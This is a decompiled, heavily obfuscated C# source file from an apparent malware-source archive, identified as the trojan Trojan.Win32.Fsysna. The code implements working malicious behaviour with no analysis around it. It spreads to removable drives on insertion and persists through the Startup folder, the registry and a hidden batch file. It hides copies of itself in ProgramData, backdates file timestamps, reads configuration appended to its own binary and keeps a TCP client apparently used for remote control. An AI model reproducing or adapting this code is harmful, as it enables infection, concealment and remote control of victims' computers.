MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91/_0005/_0002.cs
2022-08-18 06:28:56 -05:00

3535 lines
144 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe
using \u0001;
using \u0005;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.VisualBasic.MyServices;
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Management;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace \u0005
{
internal sealed class \u0002
{
[NonSerialized]
internal static \u0002 \u0001;
private static Thread \u0001;
public static string \u0001;
public static string \u0002;
public static bool \u0001;
public static bool \u0002;
public static bool \u0003;
public static ManagementEventWatcher \u0001;
public static string \u0003;
public static string \u0004;
public static string \u0005;
public static string \u0006;
public static string \u0007;
public static string \u0008;
public static string \u000E;
public static string \u000F;
public static string \u0010;
public static int \u0001;
public static string \u0011;
public static string \u0012;
public static string \u0013;
public static string \u0014;
public static string \u0015;
public static string[] \u0001;
public static int \u0002;
public static int \u0003;
public static int \u0004;
public static int \u0005;
public static BinaryWriter \u0001;
public static BinaryReader \u0001;
public static TcpClient \u0001;
public static Process[] \u0001;
static \u0002()
{
// ISSUE: type reference
\u0004.\u0002(\u001D\u0003.\u009E\u0003(__typeref (\u0002)));
\u0002.\u0003 = \u008D\u0004.\u009A\u0006(\u0001\u0003.\u0012\u0003());
\u0002.\u0004 = \u0098\u0002.\u009D\u0002(\u0011\u0002.\u008B\u0003(), \u0095\u0002.\u007E\u0099\u0002((object) \u0002.\u0003, \u0002.\u0001(193), \u0002.\u0001(198)), \u0002.\u0001(203));
\u0002.\u0005 = \u0011\u0002.\u0089\u0003();
\u0002.\u0006 = \u001D\u0002.\u007E\u0096((object) \u0082\u0002.\u009C()).ToString();
\u0002.\u0007 = \u0011\u0002.\u008B\u0003();
\u0002.\u0008 = \u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Desktop);
\u0002.\u000E = \u0097\u0002.\u009C\u0002(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.CommonApplicationData), \u0002.\u0001(212));
\u0002.\u000F = \u0002.\u0001(225);
\u0002.\u0010 = \u0002.\u0001(238);
\u0002.\u0001 = 4878;
\u0002.\u0011 = \u0002.\u0001(263);
\u0002.\u0012 = \u0002.\u0001(296);
\u0002.\u0013 = \u0002.\u0001(297);
}
[DllImport("User32.dll", EntryPoint = "SetCursorPos", CharSet = CharSet.Auto, SetLastError = true)]
public static extern long \u0002([In] int obj0, [In] int obj1);
[DllImport("user32", EntryPoint = "mouse_event", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern void \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] int obj3, [In] int obj4);
[DllImport("kernel32.dll", EntryPoint = "SetProcessWorkingSetSize", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int \u0002([In] IntPtr obj0, [In] int obj1, [In] int obj2);
[STAThread]
public static void \u0002() => new \u0002.\u0001().\u0002();
public static void \u0003()
{
try
{
DriveInfo[] driveInfoArray = \u0010\u0004.\u008F\u0005();
int index = 0;
while (index < driveInfoArray.Length)
{
DriveInfo driveInfo = driveInfoArray[index];
if (\u0004\u0002.\u007E\u008E\u0005((object) driveInfo) && !\u008D\u0002.\u007E\u008A\u0002((object) \u0014\u0002.\u007E\u008C\u0005((object) \u0011\u0004.\u007E\u0090\u0005((object) driveInfo)), \u0002.\u0001(318)) && !\u008D\u0002.\u007E\u008A\u0002((object) \u0014\u0002.\u007E\u008C\u0005((object) \u0011\u0004.\u007E\u0090\u0005((object) driveInfo)), \u0002.\u0001(323)) && \u000F\u0004.\u007E\u008D\u0005((object) driveInfo) == DriveType.Removable)
{
\u0002.\u0002 obj = new \u0002.\u0002();
\u0002.\u0001 = new Thread(new ThreadStart(obj.\u0002));
obj.\u0001 = \u0014\u0002.\u007E\u008C\u0005((object) \u0011\u0004.\u007E\u0090\u0005((object) driveInfo));
\u0001\u0002.\u007E\u0019\u0004((object) \u0002.\u0001);
}
checked { ++index; }
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public static void \u0004()
{
try
{
byte[] numArray = \u009B\u0003.\u007E\u0007\u0005((object) \u009E\u0003.\u000F\u0005(), \u0002.\u0013);
\u0002.\u0002 = \u0010\u0003.\u0082\u0003(numArray);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0002.\u0003();
try
{
ManagementScope scope = new ManagementScope(\u0002.\u0001(328));
\u0005\u0002.\u007E\u0018((object) \u0008\u0002.\u007E\u001E((object) scope), true);
WqlEventQuery query = new WqlEventQuery();
\u0006\u0002.\u007E\u001A((object) query, \u0002.\u0001(345));
\u0007\u0002.\u007E\u001C((object) query, \u0082\u0003.\u0008\u0004(3.0));
\u0006\u0002.\u007E\u001B((object) query, \u0002.\u0001(378));
\u0002.\u0001 = new ManagementEventWatcher(scope, (EventQuery) query);
\u009F.\u007E\u0012((object) \u0002.\u0001, (EventArrivedEventHandler) delegate
{
\u0002.\u0003();
});
\u0001\u0002.\u007E\u0013((object) \u0002.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public static void \u0005()
{
while (true)
{
try
{
try
{
\u0008\u0004.\u0093\u0005(\u0099\u0002.\u009E\u0002(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Startup), \u0002.\u0001(443), \u0002.\u0007, \u0002.\u0001(448)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0002.\u0006();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0015\u0003.\u001B\u0004(100000);
}
}
public static void \u0006()
{
try
{
if (!\u008D\u0002.\u007E\u0093\u0002((object) \u0011\u0002.\u0014\u0007(), \u0002.\u0001(457)))
return;
try
{
try
{
\u0095\u0004.\u007E\u0006\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001(466), \u0002.\u0001(555), (object) \u0011\u0002.\u0014\u0007(), RegistryValueKind.String);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
if (\u008E\u0004.\u009C\u0006(\u0094\u0004.\u007E\u0005\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001(466), \u0002.\u0001(555), (object) false), (object) \u0011\u0002.\u0014\u0007(), false))
{
\u0002.\u0001 = \u0002.\u0001(564);
return;
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0095\u0004.\u007E\u0006\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001(589), \u0002.\u0001(555), (object) \u0011\u0002.\u0014\u0007(), RegistryValueKind.String);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
if (\u008E\u0004.\u009C\u0006(\u0094\u0004.\u007E\u0005\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001(589), \u0002.\u0001(555), (object) false), (object) \u0011\u0002.\u0014\u0007(), false))
{
\u0002.\u0001 = \u0002.\u0001(674);
}
else
{
\u0002.\u0002(\u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u008B\u0003()));
\u0002.\u0001 = \u0002.\u0001(699);
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public static void \u0002([In] string obj0)
{
try
{
string str1 = \u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Startup);
try
{
\u0008\u0004.\u0093\u0005(\u0099\u0002.\u009E\u0002(str1, \u0002.\u0001(443), obj0, \u0002.\u0001(448)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001(724)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
string str2 = \u0011\u0002.\u0014\u0007();
StreamWriter streamWriter1 = \u0012\u0004.\u0091\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001(724)));
string str3 = \u0002.\u0001(745);
\u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0002.\u0001(750));
\u0006\u0002 obj1 = \u0006\u0002.\u007E\u0011\u0006;
StreamWriter streamWriter2 = streamWriter1;
string[] strArray1 = new string[5]
{
\u0002.\u0001(779),
str3,
\u0002.\u0001(808),
str3,
\u0002.\u0001(829)
};
string str4 = \u009A\u0002.\u009F\u0002(strArray1);
obj1((object) streamWriter2, str4);
\u0006\u0002 obj2 = \u0006\u0002.\u007E\u0011\u0006;
StreamWriter streamWriter3 = streamWriter1;
string[] strArray2 = new string[7]
{
\u0002.\u0001(834),
str3,
str1,
\u0002.\u0001(443),
obj0,
\u0002.\u0001(448),
str3
};
string str5 = \u009A\u0002.\u009F\u0002(strArray2);
obj2((object) streamWriter3, str5);
\u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0002.\u0001(847));
\u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0099\u0002.\u009E\u0002(\u0002.\u0001(892), str3, str2, str3));
\u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0099\u0002.\u009E\u0002(\u0002.\u0001(917), str3, \u0002.\u0001(946), str3));
\u0006\u0002.\u007E\u0011\u0006((object) streamWriter1, \u0002.\u0001(967));
\u0001\u0002.\u007E\u0012\u0006((object) streamWriter1);
try
{
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001(724)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
Process process = \u0083\u0002.\u009D(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001(724)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public static object \u0002([In] FileInfo obj0)
{
FileAttributes fileAttributes = \u0014\u0004.\u0098\u0005(\u0014\u0002.\u007E\u008A\u0005((object) obj0));
string str1 = (fileAttributes & FileAttributes.ReadOnly) != FileAttributes.ReadOnly ? \u0002.\u0001(296) : \u0002.\u0001(980);
string str2 = (fileAttributes & FileAttributes.Hidden) != FileAttributes.Archive ? \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001(296)) : \u0097\u0002.\u009C\u0002(str1, \u0002.\u0001(985));
string str3 = (fileAttributes & FileAttributes.System) != FileAttributes.System ? \u0097\u0002.\u009C\u0002(str2, \u0002.\u0001(296)) : \u0097\u0002.\u009C\u0002(str2, \u0002.\u0001(990));
string str4 = (fileAttributes & FileAttributes.Hidden) != FileAttributes.Hidden ? \u0097\u0002.\u009C\u0002(str3, \u0002.\u0001(296)) : \u0097\u0002.\u009C\u0002(str3, \u0002.\u0001(995));
if (\u008F\u0004.\u009D\u0006(str4, \u0002.\u0001(296), false) == 0)
str4 = \u0002.\u0001(1000);
return (object) str4;
}
public static object \u0002([In] int obj0, [In] string obj1, [In] string obj2)
{
string str = obj1;
string[] strArray = \u0010\u0002.\u0080(str, obj2);
return (object) \u0014\u0002.\u007E\u0097\u0002((object) strArray[obj0]);
}
public static void \u0007()
{
if (\u001B\u0003.\u007E\u009A\u0003((object) \u0013\u0003.\u008A\u0003()) != PlatformID.Win32NT)
return;
\u0002.\u0002(\u001C\u0002.\u007E\u0095((object) \u0082\u0002.\u009C()), -1, -1);
}
public sealed class \u0001
{
[NonSerialized]
internal static \u0002 \u0001;
private Mutex \u0001;
private Thread \u0001;
private Thread \u0002;
private Thread \u0003;
private Thread \u0004;
private Thread \u0005;
private Thread \u0006;
private Thread \u0007;
private Thread \u0008;
private Thread \u000E;
private string \u0001;
private string \u0002;
private string \u0003;
private string \u0004;
private string \u0005;
private string \u0006;
private string \u0007;
private string \u0008;
private string \u000E;
private string \u000F;
private long \u0001;
private long \u0002;
private string \u0010;
private int \u0001;
private int \u0002;
private string \u0011;
private IntPtr \u0001;
private string \u0012;
private string \u0013;
private \u0002.\u0001.\u0002 \u0001;
private string \u0014;
public \u0001()
{
this.\u0001 = (Mutex) null;
this.\u0011 = \u0002.\u0001.\u0001(1037);
this.\u0001 = \u0017\u0003.\u0094\u0003(0);
this.\u0012 = \u0002.\u0001.\u0001(328);
this.\u0013 = \u0002.\u0001.\u0001(328);
this.\u0001 = (\u0002.\u0001.\u0002) null;
}
public void \u0002()
{
try
{
try
{
this.\u0001 = \u0086\u0003.\u0016\u0004(\u0002.\u0011);
}
catch (WaitHandleCannotBeOpenedException ex)
{
ProjectData.SetProjectError((Exception) ex);
\u0016\u0003.\u0001\u0007();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
if (this.\u0001 == null)
{
bool createdNew;
this.\u0001 = new Mutex(true, \u0002.\u0011, out createdNew);
if (createdNew)
this.\u0003();
else
\u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C());
}
else
\u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
private void \u0003()
{
try
{
if (\u008F\u0004.\u009D\u0006(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)), false) == 0)
{
\u0008\u0004.\u0088\u0005(\u0002.\u000E);
this.\u0004();
}
else
{
try
{
DirectoryInfo directoryInfo1 = \u0003\u0004.\u0080\u0005(\u0002.\u000E);
try
{
DirectoryInfo directoryInfo2 = \u0003\u0004.\u0080\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)));
try
{
DirectoryInfo directoryInfo3 = \u0003\u0004.\u0080\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
try
{
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)), FileAttributes.Normal);
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), FileAttributes.Normal);
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)), FileAttributes.Normal);
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)));
}
catch (Exception ex1)
{
ProjectData.SetProjectError(ex1);
try
{
\u0013\u0004.\u009C\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)));
}
catch (Exception ex2)
{
ProjectData.SetProjectError(ex2);
\u0016\u0003.\u0001\u0007();
}
\u0016\u0003.\u0001\u0007();
}
try
{
\u0093\u0004.\u007E\u0004\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042)));
\u0006\u0002.\u007E\u0010\u0002((object) processStartInfo, \u0002.\u000E);
try
{
\u0005\u0004 obj1 = \u0005\u0004.\u0082\u0005;
string str1 = \u0002.\u000E;
DateTime dateTime1 = \u0001\u0003.\u0010\u0003();
DateTime dateTime2 = dateTime1.AddDays(-50.0);
obj1(str1, dateTime2);
\u0005\u0004 obj2 = \u0005\u0004.\u0095\u0005;
string str2 = \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042));
dateTime1 = \u0001\u0003.\u0010\u0003();
DateTime dateTime3 = dateTime1.AddDays(-50.0);
obj2(str2, dateTime3);
\u0005\u0004 obj3 = \u0005\u0004.\u0096\u0005;
string str3 = \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042));
dateTime1 = \u0001\u0003.\u0010\u0003();
DateTime dateTime4 = dateTime1.AddDays(-50.0);
obj3(str3, dateTime4);
\u0005\u0004 obj4 = \u0005\u0004.\u0097\u0005;
string str4 = \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1042));
dateTime1 = \u0001\u0003.\u0010\u0003();
DateTime dateTime5 = dateTime1.AddDays(-50.0);
obj4(str4, dateTime5);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
Process process = \u0086\u0002.\u009F(processStartInfo);
\u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
private void \u0004()
{
try
{
try
{
if (\u0004\u0004.\u0081\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068))))
{
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
else
{
try
{
DirectoryInfo directoryInfo = \u0003\u0004.\u0080\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
DirectoryInfo directoryInfo = \u0003\u0004.\u0080\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0002.\u000E, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
this.\u0007();
}
public void \u0005()
{
if (!\u0004\u0004.\u0094\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102))))
return;
try
{
try
{
\u0092\u0004.\u007E\u0003\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1131)), \u0002.\u0015, false);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u0017\u0004((object) this.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
this.\u0001 = new Mutex(true, \u0002.\u0001.\u0001(1156));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0013\u0004.\u009C\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0002);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0005);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0003);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0006);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0007);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u0091((object) \u0002.\u0001);
\u0002.\u0001 = (TcpClient) null;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
Process process = \u0083\u0002.\u009D(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0006()
{
string str = string.Empty;
ManagementClass managementClass = new ManagementClass(\u0002.\u0001.\u0001(1177));
ManagementObjectCollection objectCollection = \u009E.\u007E\u000F((object) managementClass);
ManagementObjectCollection.ManagementObjectEnumerator objectEnumerator;
try
{
objectEnumerator = \u0002\u0002.\u007E\u0015((object) objectCollection);
while (\u0004\u0002.\u007E\u0017((object) objectEnumerator))
{
ManagementObject managementObject = (ManagementObject) \u0003\u0002.\u007E\u0016((object) objectEnumerator);
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(328), false) == 0)
{
str = \u0014\u0002.\u007E\u0082\u0002(\u000E\u0002.\u007E\u001F((object) \u000F\u0002.\u007E\u007F((object) \u009D.\u007E\u0008((object) managementObject), \u0002.\u0001.\u0001(1198))));
break;
}
}
}
finally
{
if (objectEnumerator != null)
\u0001\u0002.\u007E\u0088\u0002((object) objectEnumerator);
}
\u0002.\u0012 = str;
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private void \u0007()
{
try
{
\u0083\u0004.\u008F\u0006(1, \u0011\u0002.\u0014\u0007(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
string str1 = \u008B\u0004.\u0011\u0007(checked ((int) \u0088\u0004.\u0093\u0006(1)));
\u0086\u0004.\u0091\u0006(1, ref str1, -1L, false);
int[] numArray1 = new int[1]{ 1 };
\u0084\u0004.\u0090\u0006(numArray1);
string[] strArray1 = \u009A\u0004.\u0012\u0007(str1, \u0002.\u000F, -1, CompareMethod.Binary);
try
{
\u0002.\u0014 = this.\u0003(strArray1[1]);
\u0002.\u0002 = \u000E\u0003.\u0094\u0006(this.\u0003(strArray1[2]));
\u0002.\u0015 = this.\u0003(strArray1[3]);
\u0002.\u0004 = \u000E\u0003.\u0094\u0006(this.\u0003(strArray1[4]));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
if (\u008F\u0004.\u009D\u0006(\u0002.\u0014, (string) null, false) == 0)
{
try
{
\u0002.\u0015 = \u0091\u0004.\u007E\u0002\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1131)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0002.\u0015 = \u0002.\u0001.\u0001(1215);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1131)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
try
{
\u0001\u0002.\u007E\u0017\u0004((object) this.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
this.\u0001 = new Mutex(true, \u0002.\u0001.\u0001(1156));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal);
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0013\u0004.\u0092\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
try
{
\u0013\u0004.\u009C\u0005(\u0011\u0002.\u0014\u0007(), \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1081)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0083\u0004.\u008F\u0006(1, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
string str2 = \u008B\u0004.\u0011\u0007(checked ((int) \u0088\u0004.\u0093\u0006(1)));
\u0086\u0004.\u0091\u0006(1, ref str2, -1L, false);
int[] numArray2 = new int[1]{ 1 };
\u0084\u0004.\u0090\u0006(numArray2);
\u0002.\u0004 = \u001D\u0002.\u007E\u008E\u0002((object) str2);
\u0083\u0004.\u008F\u0006(1, \u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
